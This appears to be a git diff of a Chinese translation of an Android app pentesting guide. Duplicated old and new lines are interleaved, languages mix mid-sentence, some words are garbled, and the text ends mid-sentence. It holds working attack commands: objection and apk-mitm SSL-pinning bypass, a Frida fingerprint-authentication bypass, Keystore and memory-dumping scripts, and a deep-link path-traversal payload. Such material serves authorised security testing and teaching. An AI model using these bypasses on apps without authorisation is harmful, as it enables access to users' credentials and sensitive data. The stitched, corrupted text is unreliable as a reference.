avd-android-virtual-device.md {{#endref}} -- [**Genymotion**](https://www.genymotion.com/fun-zone/) **(免费版本:Personal Edition,需要创建账号。建议下载带有** _**VirtualBox**_** 的版本以避免潜在错误。)** -- [**Nox**](https://es.bignox.com)(免费,但不支持 Frida 或 Drozer)。 +- [**Genymotion**](https://www.genymotion.com/fun-zone/) **(Free version:** Personal Edition, you need to create an account. _It's recommend to **download** the version **WITH**_ _**VirtualBox** to avoid potential errors._) +- [**Nox**](https://es.bignox.com) (Free, but it doesn't support Frida or Drozer). > [!TIP] -> 在任何平台创建新的模拟器时请记住,屏幕越大,模拟器运行越慢。因此如无必要请选择小屏幕。 +> 创建任何平台上的新 emulator 时请记住,屏幕越大,emulator 运行越慢。如果可能请选择小屏幕。 -要在 Genymotion 中 **安装 google services(例如 Play Store)**,需要点击下图中标红的按钮: +To **install google services** (like AppStore) in Genymotion you need to click on the red marked button of the following image: ![](<../../images/image (277).png>) -另外,请注意在 **Genymotion 的 Android VM 配置中** 可以选择 **Bridge Network mode**(如果你会从另一个 VM 连接到该 Android VM 并使用工具,这会很有用)。 +Also, notice that in the **configuration of the Android VM in Genymotion** you can select **Bridge Network mode** (this will be useful if you will be connecting to the Android VM from a different VM with the tools). #### Use a physical device -你需要激活 **调试(debugging)** 选项,若能 **root** 设备会更好: +You need to activate the **debugging** options and it will be cool if you can **root** it: -1. **Settings**。 -2. (从 Android 8.0 起)选择 **System**。 -3. 选择 **About phone**。 -4. 连续按 **Build number** 7 次。 -5. 返回,你会看到 **Developer options**。 +1. **Settings**. +2. (FromAndroid 8.0) Select **System**. +3. Select **About phone**. +4. Press **Build number** 7 times. +5. Go back and you will find the **Developer options**. -> 一旦你安装了应用,首先应该运行并探索它,了解它的功能与工作方式并熟悉它。\ -> 我建议使用 MobSF dynamic analysis + pidcat 来执行这一步初始的动态分析,这样我们在学习应用如何工作时,MobSF 会捕获大量你可以随后审查的有价值数据。 +> Once you have installed the application, the first thing you should do is to try it and investigate what does it do, how does it work and get comfortable with it.\ +> I will suggest to **perform this initial dynamic analysis using MobSF dynamic analysis + pidcat**, so we will be able to **learn how the application works** while MobSF **captures** a lot of **interesting** **data** you can review later on. Magisk/Zygisk quick notes (recommended on Pixel devices) - Patch boot.img with the Magisk app and flash via fastboot to get systemless root @@ -297,75 +297,75 @@ Magisk/Zygisk quick notes (recommended on Pixel devices) **Logging** -开发者应谨慎避免公开暴露 **debugging 信息**,因为这可能导致敏感数据 leak。推荐使用工具 [**pidcat**](https://github.com/JakeWharton/pidcat) 和 `adb logcat` 监控应用日志,以识别并保护敏感信息。**Pidcat** 因其易用性和可读性而更受欢迎。 +开发者应谨慎避免将 **debugging information** 暴露出去,因为这可能导致敏感数据 leak。推荐使用工具 [**pidcat**](https://github.com/JakeWharton/pidcat) 和 `adb logcat` 来监控应用日志,以识别并保护敏感信息。**Pidcat** 因其易用性和可读性更受推崇。 > [!WARNING] -> 请注意,从 **Android 4.0 之后的版本** 起,**应用只能访问自身的日志**。因此应用无法访问其他应用的日志。\ -> 无论如何,仍然建议 **不要记录敏感信息**。 +> 请注意,从 **later newer than Android 4.0** 开始,**applications are only able to access their own logs**。所以应用无法访问其他应用的日志。\ +> 无论如何,仍建议 **not log sensitive information**。 **Copy/Paste Buffer Caching** -Android 的 **剪贴板(clipboard)框架** 支持应用间的复制粘贴功能,但存在风险:**其他应用** 可以访问剪贴板,可能泄露敏感数据。对应用中敏感部分(如信用卡信息)应禁用复制/粘贴功能以防止数据泄露。 +Android 的 **clipboard-based** 框架支持应用之间的复制粘贴功能,但存在风险,因为 **other applications** 可以 **access** 剪贴板,可能泄露敏感数据。对于应用中的敏感区域(如信用卡信息),应禁用复制/粘贴功能以防止数据 leak。 **Crash Logs** -如果应用 **崩溃** 并保存了日志,这些日志会帮助攻击者,尤其是在应用无法被逆向时。为降低风险,应避免在崩溃时记录敏感信息;如果必须通过网络发送日志,确保通过 SSL 通道传输。 +如果应用 **crashes** 并 **saves logs**,这些日志可能帮助攻击者,尤其是在应用无法被逆向时。为降低风险,尽量避免在崩溃时记录日志;如果必须通过网络传输日志,确保使用 SSL 通道。 -作为 pentester,**尝试查看这些日志**。 +作为 pentester,**try to take a look to these logs**。 **Analytics Data Sent To 3rd Parties** -应用通常集成诸如 Google Adsense 之类的服务,开发者的不当实现可能无意中导致敏感数据 leak。建议通过拦截应用流量检查是否有敏感信息发送到第三方服务。 +应用通常集成类似 Google Adsense 的服务,如果实现不当,可能会不经意间泄露敏感数据。为识别潜在的数据泄露,建议 **intercept the application's traffic** 并检查是否有敏感信息被发送给第三方服务。 ### SQLite DBs -大多数应用会使用 **内部 SQLite 数据库** 存储信息。在渗透测试期间,查看创建的 **数据库**、**表名** 与 **列名** 以及存储的所有 **数据** 十分重要,因为你可能会发现 **敏感信息**(这将构成漏洞)。\ +大多数应用会使用 **internal SQLite databases** 来保存信息。在 pentest 过程中,检查所创建的 **databases**、**tables** 和 **columns** 的名称以及保存的所有 **data**,因为你可能会发现 **sensitive information**(这将构成漏洞)。\ 数据库通常位于 `/data/data/the.package.name/databases`,例如 `/data/data/com.mwr.example.sieve/databases` -如果数据库保存机密信息并且**加密了**,但你能在应用中**找到解密密码**,这仍然是一个 **漏洞**。 +如果数据库保存机密信息且 **encrypted**,但你能在应用中 **find** 到 **password**,这仍然是一个 **vulnerability**。 -使用 `.tables` 枚举表,使用 `.schema ` 枚举表的列。 +使用 `.tables` 列出表,使用 `.schema ` 列出表的列。 ### Drozer (Exploit Activities, Content Providers and Services) -来自 [Drozer Docs](https://labs.mwrinfosecurity.com/assets/BlogFiles/mwri-drozer-user-guide-2015-03-23.pdf):**Drozer** 允许你 **以 Android 应用的身份行事** 并与其他应用交互。它可以执行 **已安装应用能做的任何事**,例如利用 Android 的进程间通信(IPC)机制并与底层操作系统交互。\ -Drozer 是一个有用的工具,可用于 **利用 exported activities、exported services 和 Content Providers**,你将在下面的章节中学习到这些内容。 +From [Drozer Docs](https://labs.mwrinfosecurity.com/assets/BlogFiles/mwri-drozer-user-guide-2015-03-23.pdf): **Drozer** allows you to **assume the role of an Android app** and interact with other apps. It can do **anything that an installed application can do**, such as make use of Android’s Inter-Process Communication (IPC) mechanism and interact with the underlying operating system. .\ +Drozer is s useful tool to **exploit exported activities, exported services and Content Providers** as you will learn in the following sections. ### Exploiting exported Activities [**Read this if you want to refresh what is an Android Activity.**](android-applications-basics.md#launcher-activity-and-other-activities)\ -还要记住,activity 的代码在 **`onCreate`** 方法中开始执行。 +Also remember that the code of an activity starts in the **`onCreate`** method. **Authorisation bypass** -当一个 Activity 被 exported 时,你可以从外部应用调用其界面。因此,如果一个包含 **敏感信息** 的 activity 被 **exported**,你可能会 **bypass** 认证机制并访问该界面。 +When an Activity is exported you can invoke its screen from an external app. Therefore, if an activity with **sensitive information** is **exported** you could **bypass** the **authentication** mechanisms **to access it.** [**Learn how to exploit exported activities with Drozer.**](drozer-tutorial/index.html#activities) -你也可以通过 adb 启动一个 exported activity: +You can also start an exported activity from adb: - PackageName is com.example.demo - Exported ActivityName is com.example.test.MainActivity ```bash adb shell am start -n com.example.demo/com.example.test.MainActivity ``` -**注意**: MobSF 会检测将 _**singleTask/singleInstance**_ 作为活动的 `android:launchMode` 使用为恶意,但根据 [this](https://github.com/MobSF/Mobile-Security-Framework-MobSF/pull/750),显然这仅在较旧版本(API 版本 < 21)上危险。 +**NOTE**: MobSF will detect as malicious the use of _**singleTask/singleInstance**_ as `android:launchMode` in an activity, but due to [this](https://github.com/MobSF/Mobile-Security-Framework-MobSF/pull/750), apparently this is only dangerous on old versions (API versions < 21). > [!TIP] -> 注意,an authorisation bypass 并不总是一个漏洞,是否构成漏洞取决于 bypass 的工作方式以及暴露了哪些信息。 +> 请注意,authorisation bypass 并不总是漏洞,这取决于 bypass 的工作方式以及暴露了哪些信息。 **敏感信息泄露** -**Activities 也可以返回结果**。如果你能找到一个 exported 且未受保护的 activity 调用 **`setResult`** 方法并 **返回敏感信息**,则存在敏感信息泄露。 +**Activities can also return results**. 如果你能找到一个 exported 且未受保护的 activity 调用 **`setResult`** 方法并 **返回敏感信息**,则存在敏感信息泄露。 #### Tapjacking -如果未防护 tapjacking,你可以滥用已导出的 activity 让 **用户执行意外操作**。更多关于 [**what is Tapjacking follow the link**](#tapjacking)。 +如果没有防止 Tapjacking,你可以滥用 exported activity 使用户执行意外的操作。有关 Tapjacking 的更多信息,请参见 [**what is Tapjacking follow the link**](#tapjacking). ### Exploiting Content Providers - Accessing and manipulating sensitive information [**Read this if you want to refresh what is a Content Provider.**](android-applications-basics.md#content-provider)\ -Content providers 基本上用于 **共享数据**。如果一个应用有可用的 content providers,你可能能够从中 **提取敏感** 数据。也有必要测试可能的 **SQL injections** 和 **Path Traversals**,因为它们可能存在漏洞。 +Content providers 基本上用于 **共享数据**。如果应用有可用的 content providers,你可能能够从中 **提取敏感** 数据。也很有必要测试可能的 **SQL injections** 和 **Path Traversals**,因为它们可能存在漏洞。 [**Learn how to exploit Content Providers with Drozer.**](drozer-tutorial/index.html#content-providers) @@ -374,7 +374,7 @@ Content providers 基本上用于 **共享数据**。如果一个应用有可用 [**Read this if you want to refresh what is a Service.**](android-applications-basics.md#services)\ 请记住,Service 的动作在方法 `onStartCommand` 中开始。 -Service 基本上是能够 **接收数据**、**处理** 并 **(可能)返回** 响应的组件。因此,如果一个应用导出了某些 services,你应该 **检查** 其 **代码** 以了解其行为,并进行 **动态测试** 以提取机密信息、绕过认证措施等...\ +Service 基本上是能够 **接收数据**、**处理** 它并 **返回**(或不返回)响应的东西。因此,如果应用导出了某些 services,应该 **检查** 其 **代码** 来了解它在做什么,并 **动态测试** 以提取机密信息、绕过认证措施等。\ [**Learn how to exploit Services with Drozer.**](drozer-tutorial/index.html#services) ### **Exploiting Broadcast Receivers** @@ -382,81 +382,81 @@ Service 基本上是能够 **接收数据**、**处理** 并 **(可能)返 [**Read this if you want to refresh what is a Broadcast Receiver.**](android-applications-basics.md#broadcast-receivers)\ 请记住,Broadcast Receiver 的动作在方法 `onReceive` 中开始。 -Broadcast receiver 会等待某类消息。根据接收器处理消息的方式,它可能存在漏洞。\ +Broadcast receiver 会等待某种类型的消息。取决于接收器如何处理该消息,它可能存在漏洞。\ [**Learn how to exploit Broadcast Receivers with Drozer.**](#exploiting-broadcast-receivers) ### **Exploiting Schemes / Deep links** -你可以手动查找 deep links,使用像 MobSF 这样的工具或像 [this one](https://github.com/ashleykinguk/FBLinkBuilder/blob/master/FBLinkBuilder.py) 这样的脚本。\ -你可以使用 **adb** 或 **浏览器** 打开声明的 **scheme**: +你可以手动查找 deep links,使用像 MobSF 这样的工具或像 [this one](https://github.com/ashleykinguk/FBLinkBuilder/blob/master/FBLinkBuilder.py)。\ +你可以使用 **adb** 或 **browser** 打开已声明的 **scheme**: ```bash adb shell am start -a android.intent.action.VIEW -d "scheme://hostname/path?param=value" [your.package.name] ``` -_注意,你可以**省略包名**,移动设备会自动调用应该打开该链接的应用。_ +_注意,你可以 **omit the package name**,手机会自动调用应该打开该链接的 app。_ ```html Click me with alternative ``` -**代码执行** +**执行的代码** -为了找到 **将在 App 中执行的代码**,前往由 deeplink 调用的 activity 并搜索函数 **`onNewIntent`**。 +为了找到 **将会在 App 中执行的代码**,转到由 deeplink 调用的 activity 并搜索函数 **`onNewIntent`**。 ![](<../../images/image (436) (1) (1) (1).png>) **敏感信息** -每次发现 deep link 时,请检查 **它是否未通过 URL 参数接收敏感数据(例如密码)**,因为任何其他应用都可能 **冒充该 deep link 并窃取这些数据!** +每次发现 deep link 时,请检查 i**它是否没有通过 URL 参数 接收敏感数据(例如密码)**,因为任何其他应用都可能 **冒充 deep link 并窃取这些数据!** **路径中的参数** -你 **还必须检查是否有任何 deep link 在 URL 路径中使用参数**,例如:`https://api.example.com/v1/users/{username}`,在这种情况下,你可以通过访问类似 `example://app/users?username=../../unwanted-endpoint%3fparam=value` 的路径来强制进行路径遍历。\ -请注意,如果你在应用内找到了正确的 endpoints,你可能能够导致 **Open Redirect**(如果路径的一部分被用作域名)、**account takeover**(如果你能在没有 CSRF token 的情况下修改用户详情且 vuln endpoint 使用了正确的方法)以及其他任何漏洞。更多 [info about this here](http://dphoeniixx.com/2020/12/13-2/)。 +你 **还必须检查是否有任何 deep link 在 URL 的路径中使用参数**,例如:`https://api.example.com/v1/users/{username}`,在这种情况下你可以通过访问类似 `example://app/users?username=../../unwanted-endpoint%3fparam=value` 的路径来强制进行路径遍历。\ +注意,如果你在应用内找到正确的 endpoints,你可能能够导致 **Open Redirect**(如果路径的一部分被用作域名)、**account takeover**(如果你能够在没有 CSRF token 的情况下修改用户详情,并且 vuln endpoint 使用了正确的方法)以及其他任何 vuln。更多 [info about this here](http://dphoeniixx.com/2020/12/13-2/)。 -**More examples** +**更多示例** -一个关于 links(_/.well-known/assetlinks.json_)的 [interesting bug bounty report](https://hackerone.com/reports/855618)。 +一个关于链接(_/.well-known/assetlinks.json_)的有趣的 bug bounty 报告:[https://hackerone.com/reports/855618](https://hackerone.com/reports/855618)。 -### 传输层检查和验证失败 +### 传输层检测与验证失败 -- **Certificates are not always inspected properly** by Android applications。此类应用常常忽略警告并接受自签名证书,或在某些情况下回退到使用 HTTP 连接。 -- **Negotiations during the SSL/TLS handshake are sometimes weak**,使用不安全的 cipher suites。这一弱点使连接容易受到 man-in-the-middle (MITM) 攻击,允许攻击者解密数据。 -- **Leakage of private information** 是一种风险:当应用使用安全通道进行认证,但随后在其他事务中通过非安全通道通信时,这种做法无法保护会话 cookie 或用户详情等敏感数据,容易被恶意方拦截。 +- **证书并不总是被正确检查**:Android 应用常常忽略警告并接受自签名证书,或者在某些情况下回退到使用 HTTP 连接。 +- **SSL/TLS 握手期间的协商有时很弱**,使用不安全的 cipher suites。这会使连接容易受到 man-in-the-middle (MITM) 攻击,允许攻击者解密数据。 +- **私有信息泄露** 是一种风险,当应用使用安全通道进行认证,但随后在其他事务上通过非安全通道通信时。这种做法无法保护敏感数据,例如 session cookies 或用户详情,免遭恶意实体拦截。 -#### Certificate Verification +#### 证书验证 -我们将重点关注 **certificate verification**。必须验证服务器证书的完整性以增强安全性。これは关键,因为不安全的 TLS 配置以及通过未加密通道传输敏感数据会带来重大风险。有关验证服务器证书和修复漏洞的详细步骤,[**this resource**](https://manifestsecurity.com/android-application-security-part-10/) 提供了全面的指导。 +我们将关注 **certificate verification**。必须验证服务器证书的完整性以增强安全性。这一点很关键,因为不安全的 TLS 配置以及在未加密通道上传输敏感数据会带来重大风险。有关验证服务器证书和修复漏洞的详细步骤,[**this resource**](https://manifestsecurity.com/android-application-security-part-10/) 提供了全面的指导。 #### SSL Pinning -SSL Pinning 是一种安全措施,应用将服务器的证书与存储在应用内的已知副本进行核验。该方法对于防止 MITM 攻击至关重要。强烈建议对处理敏感信息的应用实施 SSL Pinning。 +SSL Pinning 是一种安全措施,应用将服务器的证书与存储在应用内的已知副本进行比对。该方法对于防止 MITM 攻击至关重要。强烈建议在处理敏感信息的应用中实现 SSL Pinning。 -#### Traffic Inspection +#### 流量检查 -要检查 HTTP 流量,必须 **安装代理工具的证书**(例如 Burp)。如果不安装该证书,代理可能无法查看加密流量。有关安装自定义 CA 证书的指南,[**click here**](avd-android-virtual-device.md#install-burp-certificate-on-a-virtual-machine)。 +要检查 HTTP 流量,必须 **安装代理工具的证书**(例如 Burp)。如果不安装该证书,加密流量可能无法通过代理可见。有关安装自定义 CA 证书的指南,[**click here**](avd-android-virtual-device.md#install-burp-certificate-on-a-virtual-machine)。 -针对 **API Level 24 and above** 的应用需要修改 Network Security Config 以接受代理的 CA 证书。这一步对于检查加密流量至关重要。有关修改 Network Security Config 的说明,请参阅 [**refer to this tutorial**](make-apk-accept-ca-certificate.md)。 +针对 **API Level 24 and above** 的应用需要修改 Network Security Config 以接受代理的 CA 证书。此步骤对于检查加密流量至关重要。有关修改 Network Security Config 的说明,[**refer to this tutorial**](make-apk-accept-ca-certificate.md)。 -如果使用 **Flutter**,需要遵循 [**this page**](flutter.md) 中的说明。因为仅将证书添加到系统存储并不能奏效,Flutter 有自己的有效 CA 列表。 +如果使用 **Flutter**,你需要按照 [**this page**](flutter.md) 中的说明操作。这是因为仅将证书添加到系统存储并不能奏效,Flutter 有其自己的有效 CA 列表。 #### 静态检测 SSL/TLS pinning -在尝试运行时绕过之前,先快速映射 APK 中强制 pinning 的位置。静态发现可以帮助你规划 hooks/patches 并集中在正确的代码路径上。 +在尝试运行时绕过之前,先快速映射 APK 中强制执行 pinning 的位置。静态发现可以帮助你规划 hooks/patches,并将注意力集中在正确的代码路径上。 Tool: SSLPinDetect -- 开源静态分析工具,将 APK 反编译为 Smali(通过 apktool),并扫描针对 SSL/TLS pinning 实现的精选正则模式。 -- 报告每个匹配项的精确文件路径、行号和代码片段。 -- 覆盖常见框架和自定义代码路径:OkHttp CertificatePinner、自定义 javax.net.ssl.X509TrustManager.checkServerTrusted、使用自定义 TrustManagers/KeyManagers 的 SSLContext.init,以及 Network Security Config XML 中的 pins。 +- 一个开源的静态分析实用工具,会将 APK 反编译为 Smali(通过 apktool)并扫描与 SSL/TLS pinning 实现相关的精选正则模式。 +- 为每个匹配项报告精确的文件路径、行号和代码片段。 +- 覆盖常见框架和自定义代码路径:OkHttp CertificatePinner、custom javax.net.ssl.X509TrustManager.checkServerTrusted、使用自定义 TrustManagers/KeyManagers 的 SSLContext.init,以及 Network Security Config XML 的 pins。 -安装 +Install - Prereqs: Python >= 3.8, Java on PATH, apktool ```bash git clone https://github.com/aancw/SSLPinDetect cd SSLPinDetect pip install -r requirements.txt ``` -使用 +用法 ```bash # Basic python sslpindetect.py -f app.apk -a apktool.jar @@ -465,7 +465,7 @@ python sslpindetect.py -f app.apk -a apktool.jar python sslpindetect.py -a apktool_2.11.0.jar -f sample/app-release.apk -v ``` 示例模式规则 (JSON) -使用或扩展签名以检测专有/自定义 pinning 样式。你可以加载自己的 JSON 并进行大规模扫描。 +使用或扩展 signatures 来检测专有/自定义 pinning 样式。你可以加载自己的 JSON 并进行大规模扫描。 ```json { "OkHttp Certificate Pinning": [ @@ -479,43 +479,43 @@ python sslpindetect.py -a apktool_2.11.0.jar -f sample/app-release.apk -v ] } ``` -说明与提示 -- 在大型应用上使用多线程和 memory-mapped I/O 进行快速扫描;预编译的 regex 可减少开销/误报。 +注意事项与提示 +- 通过多线程和内存映射 I/O 对大型应用进行快速扫描;预编译的正则可以减少开销/误报。 - Pattern collection: https://github.com/aancw/smali-sslpin-patterns -- 下一步要分类的典型检测目标: -- OkHttp: CertificatePinner usage, setCertificatePinner, okhttp3/okhttp package references -- Custom TrustManagers: javax.net.ssl.X509TrustManager, checkServerTrusted overrides -- Custom SSL contexts: SSLContext.getInstance + SSLContext.init with custom managers -- Declarative pins in res/xml network security config and manifest references -- 使用匹配到的位置来规划 Frida hooks、静态补丁或配置审查,然后再进行动态测试。 +- 下一步要分类整理的典型检测目标: +- OkHttp: CertificatePinner 的使用,setCertificatePinner,okhttp3/okhttp 包引用 +- Custom TrustManagers:javax.net.ssl.X509TrustManager,checkServerTrusted 的重写 +- Custom SSL contexts:SSLContext.getInstance + SSLContext.init 与自定义管理器 +- 在 res/xml network security config 中的声明式 pins 以及 manifest 引用 +- 利用匹配到的位置来规划 Frida hooks、静态补丁或配置审查,然后再进行动态测试。 -#### Bypassing SSL Pinning +#### 绕过 SSL Pinning -当实现了 SSL Pinning 时,绕过它以检查 HTTPS 流量就变得必要。为此有多种可用方法: +当实现了 SSL Pinning 时,需要绕过它以检查 HTTPS 流量。为此有多种方法: -- Automatically **modify** the **apk** to **bypass** SSLPinning with [**apk-mitm**](https://github.com/shroudedcode/apk-mitm). The best pro of this option, is that you won't need root to bypass the SSL Pinning, but you will need to delete the application and reinstall the new one, and this won't always work. -- You could use **Frida** (discussed below) to bypass this protection. Here you have a guide to use Burp+Frida+Genymotion: [https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/](https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/) -- You can also try to **automatically bypass SSL Pinning** using [**objection**](frida-tutorial/objection-tutorial.md)**:** `objection --gadget com.package.app explore --startup-command "android sslpinning disable"` -- You can also try to **automatically bypass SSL Pinning** using **MobSF dynamic analysis** (explained below) -- If you still think that there is some traffic that you aren't capturing you can try to **forward the traffic to burp using iptables**. Read this blog: [https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62](https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62) +- 自动使用 [**apk-mitm**](https://github.com/shroudedcode/apk-mitm) **修改** **apk** 以 **绕过** SSLPinning。此选项的最大优点是你不需要 root 就能绕过 SSL Pinning,但你需要删除应用并重新安装新版本,并且这并不总是有效。 +- 你可以使用 **Frida**(下文讨论)来绕过该保护。这里有一篇使用 Burp+Frida+Genymotion 的指南:[https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/](https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/) +- 你也可以尝试使用 [**objection**](frida-tutorial/objection-tutorial.md)**:** 自动绕过 SSL Pinning:`objection --gadget com.package.app explore --startup-command "android sslpinning disable"` +- 你也可以尝试使用 **MobSF dynamic analysis**(下文说明)来**自动绕过 SSL Pinning** +- 如果你仍然认为有些流量没有被捕获,可以尝试使用 iptables **将流量转发到 burp**。阅读这篇博客:[https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62](https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62) -#### Looking for Common Web Vulnerabilities +#### 寻找常见的 Web 漏洞 -还应在应用内搜索常见的 web 漏洞。关于识别和缓解这些漏洞的详细信息超出了本摘要的范围,但在其他资料中有详尽覆盖。 +同样重要的是在应用内搜索常见的 Web 漏洞。关于识别和缓解这些漏洞的详细信息超出本摘要范围,但在其他地方有详尽覆盖。 ### Frida -[Frida](https://www.frida.re) is a dynamic instrumentation toolkit for developers, reverse-engineers, and security researchers.\ -**You can access running application and hook methods on run time to change the behaviour, change values, extract values, run different code...**\ -如果你想 pentest Android applications 你需要知道如何使用 Frida。 +[Frida](https://www.frida.re) 是一个面向开发者、逆向工程师和安全研究人员的动态注入工具包。\ +**你可以访问正在运行的应用并在运行时 hook 方法以更改行为、修改值、提取值、执行不同的代码...**\ +如果你想 pentest Android 应用,你需要知道如何使用 Frida。 - Learn how to use Frida: [**Frida tutorial**](frida-tutorial/index.html) -- Some "GUI" for actions with Frida: [**https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security**](https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security) -- Ojection is great to automate the use of Frida: [**https://github.com/sensepost/objection**](https://github.com/sensepost/objection) **,** [**https://github.com/dpnishant/appmon**](https://github.com/dpnishant/appmon) -- You can find some Awesome Frida scripts here: [**https://codeshare.frida.re/**](https://codeshare.frida.re) -- Try to bypass anti-debugging / anti-frida mechanisms loading Frida as in indicated in [https://erfur.github.io/blog/dev/code-injection-without-ptrace](https://erfur.github.io/blog/dev/code-injection-without-ptrace) (tool [linjector](https://github.com/erfur/linjector-rs)) +- 一些用于与 Frida 交互的 “GUI”: [**https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security**](https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security) +- Ojection 非常适合自动化使用 Frida: [**https://github.com/sensepost/objection**](https://github.com/sensepost/objection) **,** [**https://github.com/dpnishant/appmon**](https://github.com/dpnishant/appmon) +- 你可以在这里找到一些 Awesome Frida 脚本: [**https://codeshare.frida.re/**](https://codeshare.frida.re) +- 尝试按照 [https://erfur.github.io/blog/dev/code-injection-without-ptrace](https://erfur.github.io/blog/dev/code-injection-without-ptrace) 中的说明将 Frida 作为加载项来绕过 anti-debugging / anti-frida 机制(工具 [linjector](https://github.com/erfur/linjector-rs)) #### Anti-instrumentation & SSL pinning bypass workflow @@ -527,7 +527,7 @@ android-anti-instrumentation-and-ssl-pinning-bypass.md 检查应用是否在内存中存储了不应存储的敏感信息,例如密码或助记词。 -Using [**Fridump3**](https://github.com/rootbsd/fridump3) you can dump the memory of the app with: +使用 [**Fridump3**](https://github.com/rootbsd/fridump3) 你可以转储应用的内存,命令: ```bash # With PID python3 fridump3.py -u @@ -536,70 +536,68 @@ python3 fridump3.py -u frida-ps -Uai python3 fridump3.py -u "" ``` -这会把内存转储到 ./dump 文件夹,在那里你可以用 grep 搜索,比如: +这会把内存转储到 ./dump 文件夹,你可以在里面用类似这样的 grep: ```bash strings * | grep -E "^[a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+$" ``` ### **Keystore 中的敏感数据** -在 Android 中,Keystore 是存放敏感数据的最佳位置,然而在获得足够权限的情况下,仍然**可能被访问**。 +在 Android 中,Keystore 是存储敏感数据的最佳位置,然而在获得足够权限的情况下仍然**可能被访问**。由于应用往往在此处以**明文形式存储敏感数据**,pentests 应以 root user 身份检查这一点,因为具有设备物理访问权限的人可能会窃取这些数据。 -由于应用往往在此处以**明文形式存储敏感数据**,因此在进行 pentests 时应以 root 用户或拥有设备物理访问权限的身份检查这一点,以防该数据被窃取。 +即使应用将数据存储在 Keystore 中,数据也应被加密。 -即使应用将数据存储在 Keystore 中,这些数据也应被加密。 - -要访问 Keystore 中的数据,你可以使用这个 Frida 脚本: [https://github.com/WithSecureLabs/android-keystore-audit/blob/master/frida-scripts/tracer-cipher.js](https://github.com/WithSecureLabs/android-keystore-audit/blob/master/frida-scripts/tracer-cipher.js) +要访问 Keystore 内部的数据,可以使用此 Frida 脚本: [https://github.com/WithSecureLabs/android-keystore-audit/blob/master/frida-scripts/tracer-cipher.js](https://github.com/WithSecureLabs/android-keystore-audit/blob/master/frida-scripts/tracer-cipher.js) ```bash frida -U -f com.example.app -l frida-scripts/tracer-cipher.js ``` ### **Fingerprint/Biometrics Bypass** -使用下面的 Frida 脚本,可能能够 **bypass fingerprint authentication**,Android 应用可能会执行该操作以 **保护某些敏感区域:** +使用下面的 Frida 脚本,可能可以 **bypass fingerprint authentication**,Android 应用可能会执行该认证以 **保护某些敏感区域:** ```bash frida --codeshare krapgras/android-biometric-bypass-update-android-11 -U -f ``` ### **后台图像** -当你将应用置于后台时,Android 会存储**应用的快照**,因此当它恢复到前台时,会先加载该图像,使得应用看起来启动更快。 +当你将应用置于后台时,Android 会存储一个 **应用的快照**,因此当它恢复到前台时,会先加载该图像,使应用看起来启动更快。 -然而,如果该快照包含 **敏感信息**,有权限访问该快照的人可能会 **窃取这些信息**(注意访问需要 root)。 +但是,如果该快照包含 **敏感信息**,有权访问快照的人可能会 **窃取该信息**(注意你需要 root 才能访问它)。 -这些快照通常存储在: **`/data/system_ce/0/snapshots`** +快照通常存储在: **`/data/system_ce/0/snapshots`** -Android 提供了一种方法,可以通过将布局参数设置为 **FLAG_SECURE 来防止截图**。使用该 flag 后,窗口内容将被视为受保护,从而防止出现在截图中或在非安全显示设备上被查看。 +Android 提供了一种通过设置 FLAG_SECURE 布局参数来 **防止截图被捕获** 的方式。使用此标志后,窗口内容会被视为受保护,防止其出现在截图中或在非安全显示设备上被查看。 ```bash getWindow().setFlags(LayoutParams.FLAG_SECURE, LayoutParams.FLAG_SECURE); ``` ### **Android Application Analyzer** -该工具可以在动态分析期间帮助你管理不同的工具: [https://github.com/NotSoSecure/android_application_analyzer](https://github.com/NotSoSecure/android_application_analyzer) +此工具可以在动态分析期间帮助你管理不同的工具: [https://github.com/NotSoSecure/android_application_analyzer](https://github.com/NotSoSecure/android_application_analyzer) ### Intent Injection -开发者经常创建代理组件(例如 activities、services 和 broadcast receivers)来处理这些 Intents,并将它们传递给诸如 `startActivity(...)` 或 `sendBroadcast(...)` 之类的方法,这可能很危险。 +开发者常常创建代理组件(例如 activities、services 和 broadcast receivers)来处理这些 Intents,并将它们传递给诸如 `startActivity(...)` 或 `sendBroadcast(...)` 之类的方法,这可能存在风险。 -危险在于攻击者可通过误导这些 Intents 来触发非 exported 的应用组件或访问敏感的 content providers。一个显著的例子是 `WebView` 组件通过 `Intent.parseUri(...)` 将 URL 转换为 `Intent` 对象并执行它们,可能导致恶意的 Intent 注入。 +危险在于允许攻击者通过错误引导这些 Intents 来触发非导出的应用组件或访问敏感的 content providers。一个显著的例子是 `WebView` 组件通过 `Intent.parseUri(...)` 将 URL 转换为 `Intent` 对象然后执行它们,这可能导致恶意 Intent 注入。 -### 重要要点 +### 关键要点 -- **Intent Injection** 类似于 web 中的 Open Redirect 问题。 -- 利用方式包括将 `Intent` 对象作为 extras 传递,这些 Intent 可能被重定向以执行不安全的操作。 -- 它可能会将非导出的组件和 content providers 暴露给攻击者。 -- `WebView` 将 URL 转换为 `Intent` 的行为可能促成意外的操作。 +- **Intent Injection** 类似于 web 的 Open Redirect 问题。 +- 利用方式通常是将 `Intent` 对象作为 extras 传递,这些 Intent 可以被重定向以执行不安全的操作。 +- 它可能使非导出组件和 content providers 暴露给攻击者。 +- `WebView` 的 URL 到 `Intent` 的转换可能促成意外的行为。 -### Android Client Side Injections and others +### Android 客户端注入及其他 -这些漏洞你可能在 Web 上已经见过。在 Android 应用中需要特别注意这些漏洞: +你可能在 Web 上已经见过这类漏洞。在 Android 应用中需要特别注意以下漏洞类型: - **SQL Injection:** 在处理动态查询或 Content-Providers 时,确保使用参数化查询。 -- **JavaScript Injection (XSS):** 确认对任意 WebViews 已禁用 JavaScript 和 Plugin 